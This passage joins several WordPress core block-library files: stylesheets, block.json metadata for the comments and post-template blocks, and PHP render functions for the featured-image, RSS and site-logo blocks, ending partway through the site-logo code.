  text-transform:uppercase;
}
.wp-block-nextpage:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments-pagination-numbers",
	"title": "Comments Page Numbers",
	"category": "theme",
	"parent": [ "core/comments-pagination" ],
	"description": "Displays a list of page numbers for comments pagination.",
	"textdomain": "default",
	"usesContext": [ "postId" ],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-right:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-comments-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-comments-pagination-numbers .page-numbers{
  margin-left:2px;
}
.wp-block-comments-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-left:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-comments-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-comments-pagination-numbers .page-numbers{
  margin-right:2px;
}
.wp-block-comments-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-comments-form",
	"title": "Comments Form",
	"category": "theme",
	"description": "Display a post's comments form.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		}
	},
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"html": false,
		"color": {
			"gradients": true,
			"heading": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		}
	},
	"editorStyle": "wp-block-post-comments-form-editor",
	"style": [
		"wp-block-post-comments-form",
		"wp-block-buttons",
		"wp-block-button"
	]
}
.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}.wp-block-post-comments-form *{
  pointer-events:none;
}
.wp-block-post-comments-form .block-editor-warning *{
  pointer-events:auto;
}.wp-block-post-comments-form{
  box-sizing:border-box;
}
.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){
  font-weight:inherit;
}
.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){
  font-family:inherit;
}
.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){
  font-size:inherit;
}
.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){
  line-height:inherit;
}
.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){
  font-style:inherit;
}
.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){
  letter-spacing:inherit;
}
.wp-block-post-comments-form input[type=submit]{
  box-shadow:none;
  cursor:pointer;
  display:inline-block;
  overflow-wrap:break-word;
  text-align:center;
}
.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{
  padding:calc(.667em + 2px);
}
.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments-form .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments-form .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}.wp-block-post-comments-form *{
  pointer-events:none;
}
.wp-block-post-comments-form .block-editor-warning *{
  pointer-events:auto;
}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments-form{
  box-sizing:border-box;
}
.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){
  font-weight:inherit;
}
.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){
  font-family:inherit;
}
.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){
  font-size:inherit;
}
.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){
  line-height:inherit;
}
.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){
  font-style:inherit;
}
.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){
  letter-spacing:inherit;
}
.wp-block-post-comments-form input[type=submit]{
  box-shadow:none;
  cursor:pointer;
  display:inline-block;
  overflow-wrap:break-word;
  text-align:center;
}
.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{
  padding:calc(.667em + 2px);
}
.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments-form .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments-form .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}<?php
/**
 * Server-side rendering of the `core/post-featured-image` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-featured-image` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the featured image for the current post.
 */
function render_block_core_post_featured_image( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}
	$post_ID = $block->context['postId'];

	$is_link        = isset( $attributes['isLink'] ) && $attributes['isLink'];
	$size_slug      = isset( $attributes['sizeSlug'] ) ? $attributes['sizeSlug'] : 'post-thumbnail';
	$attr           = get_block_core_post_featured_image_border_attributes( $attributes );
	$overlay_markup = get_block_core_post_featured_image_overlay_element_markup( $attributes );

	if ( $is_link ) {
		if ( get_the_title( $post_ID ) ) {
			$attr['alt'] = trim( strip_tags( get_the_title( $post_ID ) ) );
		} else {
			$attr['alt'] = sprintf(
				// translators: %d is the post ID.
				__( 'Untitled post %d' ),
				$post_ID
			);
		}
	}

	$extra_styles = '';

	// Aspect ratio with a height set needs to override the default width/height.
	if ( ! empty( $attributes['aspectRatio'] ) ) {
		$extra_styles .= 'width:100%;height:100%;';
	} elseif ( ! empty( $attributes['height'] ) ) {
		$extra_styles .= "height:{$attributes['height']};";
	}

	if ( ! empty( $attributes['scale'] ) ) {
		$extra_styles .= "object-fit:{$attributes['scale']};";
	}

	if ( ! empty( $extra_styles ) ) {
		$attr['style'] = empty( $attr['style'] ) ? $extra_styles : $attr['style'] . $extra_styles;
	}

	$featured_image = get_the_post_thumbnail( $post_ID, $size_slug, $attr );

	// Get the first image from the post.
	if ( $attributes['useFirstImageFromPost'] && ! $featured_image ) {
		$content_post = get_post( $post_ID );
		$content      = $content_post->post_content;
		$processor    = new WP_HTML_Tag_Processor( $content );

		/*
		 * Transfer the image tag from the post into a new text snippet.
		 * Because the HTML API doesn't currently expose a way to extract
		 * HTML substrings this is necessary as a workaround. Of note, this
		 * is different than directly extracting the IMG tag:
		 * - If there are duplicate attributes in the source there will only be one in the output.
		 * - If there are single-quoted or unquoted attributes they will be double-quoted in the output.
		 * - If there are named character references in the attribute values they may be replaced with their direct code points. E.g. `&hellip;` becomes `…`.
		 * In the future there will likely be a mechanism to copy snippets of HTML from
		 * one document into another, via the HTML Processor's `get_outer_html()` or
		 * equivalent. When that happens it would be appropriate to replace this custom
		 * code with that canonical code.
		 */
		if ( $processor->next_tag( 'img' ) ) {
			$tag_html = new WP_HTML_Tag_Processor( '<img>' );
			$tag_html->next_tag();
			foreach ( $processor->get_attribute_names_with_prefix( '' ) as $name ) {
				$tag_html->set_attribute( $name, $processor->get_attribute( $name ) );
			}
			$featured_image = $tag_html->get_updated_html();
		}
	}

	if ( ! $featured_image ) {
		return '';
	}

	if ( $is_link ) {
		$link_target    = $attributes['linkTarget'];
		$rel            = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : '';
		$height         = ! empty( $attributes['height'] ) ? 'style="' . esc_attr( safecss_filter_attr( 'height:' . $attributes['height'] ) ) . '"' : '';
		$featured_image = sprintf(
			'<a href="%1$s" target="%2$s" %3$s %4$s>%5$s%6$s</a>',
			get_the_permalink( $post_ID ),
			esc_attr( $link_target ),
			$rel,
			$height,
			$featured_image,
			$overlay_markup
		);
	} else {
		$featured_image = $featured_image . $overlay_markup;
	}

	$aspect_ratio = ! empty( $attributes['aspectRatio'] )
		? esc_attr( safecss_filter_attr( 'aspect-ratio:' . $attributes['aspectRatio'] ) ) . ';'
		: '';
	$width        = ! empty( $attributes['width'] )
		? esc_attr( safecss_filter_attr( 'width:' . $attributes['width'] ) ) . ';'
		: '';
	$height       = ! empty( $attributes['height'] )
		? esc_attr( safecss_filter_attr( 'height:' . $attributes['height'] ) ) . ';'
		: '';
	if ( ! $height && ! $width && ! $aspect_ratio ) {
		$wrapper_attributes = get_block_wrapper_attributes();
	} else {
		$wrapper_attributes = get_block_wrapper_attributes( array( 'style' => $aspect_ratio . $width . $height ) );
	}
	return "<figure {$wrapper_attributes}>{$featured_image}</figure>";
}

/**
 * Generate markup for the HTML element that will be used for the overlay.
 *
 * @param array $attributes Block attributes.
 *
 * @return string HTML markup in string format.
 */
function get_block_core_post_featured_image_overlay_element_markup( $attributes ) {
	$has_dim_background  = isset( $attributes['dimRatio'] ) && $attributes['dimRatio'];
	$has_gradient        = isset( $attributes['gradient'] ) && $attributes['gradient'];
	$has_custom_gradient = isset( $attributes['customGradient'] ) && $attributes['customGradient'];
	$has_solid_overlay   = isset( $attributes['overlayColor'] ) && $attributes['overlayColor'];
	$has_custom_overlay  = isset( $attributes['customOverlayColor'] ) && $attributes['customOverlayColor'];
	$class_names         = array( 'wp-block-post-featured-image__overlay' );
	$styles              = array();

	if ( ! $has_dim_background ) {
		return '';
	}

	// Apply border classes and styles.
	$border_attributes = get_block_core_post_featured_image_border_attributes( $attributes );

	if ( ! empty( $border_attributes['class'] ) ) {
		$class_names[] = $border_attributes['class'];
	}

	if ( ! empty( $border_attributes['style'] ) ) {
		$styles[] = $border_attributes['style'];
	}

	// Apply overlay and gradient classes.
	if ( $has_dim_background ) {
		$class_names[] = 'has-background-dim';
		$class_names[] = "has-background-dim-{$attributes['dimRatio']}";
	}

	if ( $has_solid_overlay ) {
		$class_names[] = "has-{$attributes['overlayColor']}-background-color";
	}

	if ( $has_gradient || $has_custom_gradient ) {
		$class_names[] = 'has-background-gradient';
	}

	if ( $has_gradient ) {
		$class_names[] = "has-{$attributes['gradient']}-gradient-background";
	}

	// Apply background styles.
	if ( $has_custom_gradient ) {
		$styles[] = sprintf( 'background-image: %s;', $attributes['customGradient'] );
	}

	if ( $has_custom_overlay ) {
		$styles[] = sprintf( 'background-color: %s;', $attributes['customOverlayColor'] );
	}

	return sprintf(
		'<span class="%s" style="%s" aria-hidden="true"></span>',
		esc_attr( implode( ' ', $class_names ) ),
		esc_attr( safecss_filter_attr( implode( ' ', $styles ) ) )
	);
}

/**
 * Generates class names and styles to apply the border support styles for
 * the Post Featured Image block.
 *
 * @param array $attributes The block attributes.
 * @return array The border-related classnames and styles for the block.
 */
function get_block_core_post_featured_image_border_attributes( $attributes ) {
	$border_styles = array();
	$sides         = array( 'top', 'right', 'bottom', 'left' );

	// Border radius.
	if ( isset( $attributes['style']['border']['radius'] ) ) {
		$border_styles['radius'] = $attributes['style']['border']['radius'];
	}

	// Border style.
	if ( isset( $attributes['style']['border']['style'] ) ) {
		$border_styles['style'] = $attributes['style']['border']['style'];
	}

	// Border width.
	if ( isset( $attributes['style']['border']['width'] ) ) {
		$border_styles['width'] = $attributes['style']['border']['width'];
	}

	// Border color.
	$preset_color           = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null;
	$custom_color           = $attributes['style']['border']['color'] ?? null;
	$border_styles['color'] = $preset_color ? $preset_color : $custom_color;

	// Individual border styles e.g. top, left etc.
	foreach ( $sides as $side ) {
		$border                 = $attributes['style']['border'][ $side ] ?? null;
		$border_styles[ $side ] = array(
			'color' => isset( $border['color'] ) ? $border['color'] : null,
			'style' => isset( $border['style'] ) ? $border['style'] : null,
			'width' => isset( $border['width'] ) ? $border['width'] : null,
		);
	}

	$styles     = wp_style_engine_get_styles( array( 'border' => $border_styles ) );
	$attributes = array();
	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}
	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}
	return $attributes;
}

/**
 * Registers the `core/post-featured-image` block on the server.
 */
function register_block_core_post_featured_image() {
	register_block_type_from_metadata(
		__DIR__ . '/post-featured-image',
		array(
			'render_callback' => 'render_block_core_post_featured_image',
		)
	);
}
add_action( 'init', 'register_block_core_post_featured_image' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-template",
	"title": "Post Template",
	"category": "theme",
	"parent": [ "core/query" ],
	"description": "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.",
	"textdomain": "default",
	"usesContext": [
		"queryId",
		"query",
		"displayLayout",
		"templateSlug",
		"previewPostType",
		"enhancedPagination"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"align": [ "wide", "full" ],
		"layout": true,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"blockGap": {
				"__experimentalDefault": "1.25em"
			},
			"__experimentalDefaultControls": {
				"blockGap": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-post-template",
	"editorStyle": "wp-block-post-template-editor"
}
.editor-styles-wrapper ul.wp-block-post-template{list-style:none;margin-left:0;padding-left:0}.editor-styles-wrapper ul.wp-block-post-template{
  list-style:none;
  margin-right:0;
  padding-right:0;
}.wp-block-post-template{
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.wp-block-post-template{
  background:none;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:right;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:left;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}.wp-block-post-template{list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}.editor-styles-wrapper ul.wp-block-post-template{list-style:none;margin-right:0;padding-right:0}.editor-styles-wrapper ul.wp-block-post-template{
  list-style:none;
  margin-left:0;
  padding-left:0;
}.wp-block-post-template{list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:left;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:right;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}.wp-block-post-template{
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.wp-block-post-template{
  background:none;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:left;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:right;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}<?php
/**
 * Server-side rendering of the `core/rss` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/rss` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content with received rss items.
 */
function render_block_core_rss( $attributes ) {
	if ( in_array( untrailingslashit( $attributes['feedURL'] ), array( site_url(), home_url() ), true ) ) {
		return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the <strong>Latest Posts</strong> block, to list posts from the site.' ) . '</div></div>';
	}

	$rss = fetch_feed( $attributes['feedURL'] );

	if ( is_wp_error( $rss ) ) {
		return '<div class="components-placeholder"><div class="notice notice-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</div></div>';
	}

	if ( ! $rss->get_item_quantity() ) {
		return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</div></div>';
	}

	$rss_items  = $rss->get_items( 0, $attributes['itemsToShow'] );
	$list_items = '';
	foreach ( $rss_items as $item ) {
		$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
		if ( empty( $title ) ) {
			$title = __( '(no title)' );
		}
		$link = $item->get_link();
		$link = esc_url( $link );
		if ( $link ) {
			$title = "<a href='{$link}'>{$title}</a>";
		}
		$title = "<div class='wp-block-rss__item-title'>{$title}</div>";

		$date = '';
		if ( $attributes['displayDate'] ) {
			$date = $item->get_date( 'U' );

			if ( $date ) {
				$date = sprintf(
					'<time datetime="%1$s" class="wp-block-rss__item-publish-date">%2$s</time> ',
					esc_attr( date_i18n( 'c', $date ) ),
					esc_attr( date_i18n( get_option( 'date_format' ), $date ) )
				);
			}
		}

		$author = '';
		if ( $attributes['displayAuthor'] ) {
			$author = $item->get_author();
			if ( is_object( $author ) ) {
				$author = $author->get_name();
				$author = '<span class="wp-block-rss__item-author">' . sprintf(
					/* translators: %s: the author. */
					__( 'by %s' ),
					esc_html( strip_tags( $author ) )
				) . '</span>';
			}
		}

		$excerpt = '';
		if ( $attributes['displayExcerpt'] ) {
			$excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
			$excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' [&hellip;]' ) );

			// Change existing [...] to [&hellip;].
			if ( '[...]' === substr( $excerpt, -5 ) ) {
				$excerpt = substr( $excerpt, 0, -5 ) . '[&hellip;]';
			}

			$excerpt = '<div class="wp-block-rss__item-excerpt">' . esc_html( $excerpt ) . '</div>';
		}

		$list_items .= "<li class='wp-block-rss__item'>{$title}{$date}{$author}{$excerpt}</li>";
	}

	$classnames = array();
	if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) {
		$classnames[] = 'is-grid';
	}
	if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) {
		$classnames[] = 'columns-' . $attributes['columns'];
	}
	if ( $attributes['displayDate'] ) {
		$classnames[] = 'has-dates';
	}
	if ( $attributes['displayAuthor'] ) {
		$classnames[] = 'has-authors';
	}
	if ( $attributes['displayExcerpt'] ) {
		$classnames[] = 'has-excerpts';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );

	return sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $list_items );
}

/**
 * Registers the `core/rss` block on server.
 */
function register_block_core_rss() {
	register_block_type_from_metadata(
		__DIR__ . '/rss',
		array(
			'render_callback' => 'render_block_core_rss',
		)
	);
}
add_action( 'init', 'register_block_core_rss' );
<?php
/**
 * Server-side rendering of the `core/site-logo` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/site-logo` block on the server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The render.
 */
function render_block_core_site_logo( $attributes ) {
	$adjust_width_height_filter = static function ( $image ) use ( $attributes ) {
		if ( empty( $attributes['width'] ) || empty( $image ) || ! $image[1] || ! $image[2] ) {
			return $image;
		}
		$height = (float) $attributes['width'] / ( (float) $image[1] / (float) $image[2] );
		return array( $image[0], (int) $attributes['width'], (int) $height );
	};

	add_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter );

	$custom_logo = get_custom_logo();

